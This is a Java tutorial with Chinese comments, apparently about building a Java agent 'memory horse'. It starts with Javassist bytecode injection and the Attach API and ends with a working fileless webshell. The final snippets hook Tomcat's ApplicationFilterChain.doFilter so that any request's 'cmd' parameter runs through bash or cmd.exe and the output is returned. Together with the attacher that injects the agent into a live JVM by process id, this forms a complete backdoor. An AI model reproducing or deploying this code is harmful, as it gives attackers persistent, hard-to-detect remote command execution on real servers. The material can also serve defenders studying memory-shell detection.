// 启动时挂载（静态）
public static void premain(String args, Instrumentation inst)

// 运行时动态挂载（动态）
public static void agentmain(String args, Instrumentation inst)

// 注册 transformer，canRetransform=true 表示支持对已加载类重新触发
inst.addTransformer(new MyTransformer(), true);

// 强制对已加载的类重新过一遍 transformer（动态注入必须调）
inst.retransformClasses(SomeClass.class);

public byte[] transform(
    ClassLoader loader,           // 加载该类的 ClassLoader
    String className,             // 类名，注意是 / 分隔的
    Class<?> classBeingRedefined, // retransform 触发时是原 Class 对象，正常加载时为 null
    ProtectionDomain domain,      // 类的权限域，一般用不到
    byte[] classfileBuffer        // 原始字节码，最重要的参数
)

package com.demo;

public class TargetApp {
    public static void main(String[] args) throws Exception {
        while (true) {
            doWork();  // 每次循环都重新调用
            Thread.sleep(2000);
        }
    }

    public static void doWork() {
        System.out.println("hello world");
    }
}

package com.demo;

import java.lang.instrument.Instrumentation;

public class AgentMain {
    // premain 是 JVM 启动时的回调入口，比 main() 更早执行
    // 静态注册用 premain，动态挂载用 agentmain
    // 两个方法都写上，都指向同一个逻辑，这样静态动态都能用
    public static void premain(String args, Instrumentation inst) {
        System.out.println("[Agent] 启动，开始注册 transformer");
        // inst.addTransformer() 把转换器注册进去，此后每个类加载都会经过它
        // addTransformer 的意思是：向 JVM 注册一个监听器，告诉 JVM "以后每次加载类的时候，先把字节码交给我过一遍"
        inst.addTransformer(new PrintTransformer());
    }
}

package com.demo;

import javassist.*;
import java.io.ByteArrayInputStream;
import java.lang.instrument.ClassFileTransformer;
import java.security.ProtectionDomain;

public class PrintTransformer implements ClassFileTransformer {

    @Override
    // 固定的写法，重写接口，参数由 JVM 调用时自动传入
    public byte[] transform(ClassLoader loader,
                            String className,
                            Class<?> classBeingRedefined,
                            ProtectionDomain protectionDomain,
                            byte[] classfileBuffer) {

        // 检查是否是 TargetApp 类，不是就放行
        if (!"com/demo/TargetApp".equals(className)) {
            return null;  // return null = 不修改，JVM 用原始字节码
        }

        try {
            // 第一步：拿到 Javassist 的"书架"（类池）
            ClassPool classPool = ClassPool.getDefault();

            // 第二步：告诉书架，用这个类的 ClassLoader 去找依赖
            // 不加这行，Javassist 找不到 Tomcat 内部的类
            classPool.appendClassPath(new LoaderClassPath(loader));

            // 第三步：把原始字节码（classfileBuffer）放进书架，变成可操作的对象 CtClass
            CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));

            // 第四步：从 CtClass 里找到叫 doWork 的方法
            CtMethod method = ctClass.getDeclaredMethod("doWork");

            // 第五步：在这个方法开头插入一行代码
            method.insertBefore(
                "System.out.println(\"[Agent] doWork() 被调用了！\");"
            );

            // 第六步：把修改后的 CtClass 重新转成字节码，返回给 JVM
            // 整体套路：原始字节码 → makeClass → CtClass → 找方法 → 插代码 → toBytecode → 返回
            return ctClass.toBytecode();

        } catch (Exception e) {
            System.out.println("[Agent] 修改失败：" + e.getMessage());
            e.printStackTrace();
            return null;
        }
    }
}

package com.demo;

import java.lang.instrument.Instrumentation;

public class AgentMain {

    // 因为 AgentMain 就是注入的 agent 马，会存储在目标的 JVM 里，所以可以在里面添加布尔参数
    private static boolean injected = false;

    public static void premain(String args, Instrumentation inst) throws Exception {
        System.out.println("[Agent] premain 启动");
        inst.addTransformer(new PrintTransformer(), true);
    }

    public static void agentmain(String args, Instrumentation inst) throws Exception {
        if (injected) return; // 已经注入过，直接退出，防止重复注册
        injected = true;
        System.out.println("[Agent] agentmain 启动");
        inst.addTransformer(new PrintTransformer(), true);
        // 动态注入时 TargetApp 已经加载了，需要手动触发，强制让 JVM 把这个类重新过一遍 transformer
        // 这里能用 Class.forName() 是因为 agentmain 在 TargetApp 的 JVM 进程内执行，可以直接找到这个类
        inst.retransformClasses(Class.forName("com.demo.TargetApp"));
    }
}

package com.demo;

import com.sun.tools.attach.VirtualMachine;

public class Attacher {
    // 这样的 main 写法可以直接在 IDEA 里面运行
    public static void main(String[] args) throws Exception {
        // 直接填 jps 看到的 pid，每次程序重新运行 pid 号都会不同
        String pid = "20696";
        System.out.println("[Attacher] 目标进程：" + pid);

        // 利用 VirtualMachine 通过 pid 进程号连接到目标 JVM，建立通信
        VirtualMachine vm = VirtualMachine.attach(pid);

        // 把 agent jar 加载进目标 JVM，这一步触发目标 JVM 内的 agentmain() 执行
        vm.loadAgent("E:\\WWW\\agent-demo\\my-agent\\target\\my-agent-1.0-SNAPSHOT-jar-with-dependencies.jar");

        System.out.println("[Attacher] 注入成功");

        // 断开连接，但 agent 已经注入进去了，断开连接不影响效果
        vm.detach();
    }
}

// 类名判断改成
if (!"org/apache/catalina/core/ApplicationFilterChain".equals(className)) {
    return null;
}

// 方法名改成
CtMethod method = ctClass.getDeclaredMethod("doFilter");

// 插入的代码改成
method.insertBefore(
    // doFilter 的第一个参数是 ServletRequest，强转成 HttpServletRequest
    // $1 是 Javassist 的写法，代表方法第一个参数
    "javax.servlet.http.HttpServletRequest req = (javax.servlet.http.HttpServletRequest) $1;" +
    // $2 是第二个参数 ServletResponse，强转成 HttpServletResponse
    "javax.servlet.http.HttpServletResponse resp = (javax.servlet.http.HttpServletResponse) $2;" +
    // 从 HTTP 请求里取 cmd 参数
    "String cmd = req.getParameter(\"cmd\");" +
    "if (cmd != null) {" +
    // 默认 Linux 命令
    "  String[] cmds = new String[]{\"/bin/bash\", \"-c\", cmd};" +
    // 如果是 Windows 换成 cmd.exe
    "  if (System.getProperty(\"os.name\").toLowerCase().contains(\"win\")) {" +
    "    cmds = new String[]{\"cmd.exe\", \"/c\", cmd};" +
    "  }" +
    // 执行命令，拿到输出流
    "  java.io.InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();" +
    // 把输出流读成字符串
    "  java.util.Scanner sc = new java.util.Scanner(in).useDelimiter(\"\\\\A\");" +
    "  String output = sc.hasNext() ? sc.next() : \"\";" +
    // 写回 HTTP 响应
    "  resp.getWriter().println(output);" +
    "}"
);

// 遍历 JVM 中所有已加载的类
for (Class clazz : inst.getAllLoadedClasses()) {
    // 找到 ApplicationFilterChain 这个类
    if (clazz.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
        // 强制重新触发 transformer，让我们的修改生效
        inst.retransformClasses(clazz);
        // 找到了就退出循环，不用继续遍历
        break;
    }
}

ClassPool classPool = ClassPool.getDefault();
// 把当前类的 ClassLoader 告诉 Javassist（Tomcat 等独立类加载器的环境必须加）
classPool.appendClassPath(new LoaderClassPath(loader));
// 从字节码流构造 CtClass，避免依赖 classpath 上的 class 文件
CtClass ctClass = classPool.makeClass(new ByteArrayInputStream(classfileBuffer));

CtMethod method = ctClass.getDeclaredMethod("doFilter");
method.insertBefore("/* 插入到方法开头的 Java 代码字符串 */");

byte[] modifiedBytes = ctClass.toBytecode();
ctClass.detach(); // 释放，防止内存泄漏
return modifiedBytes;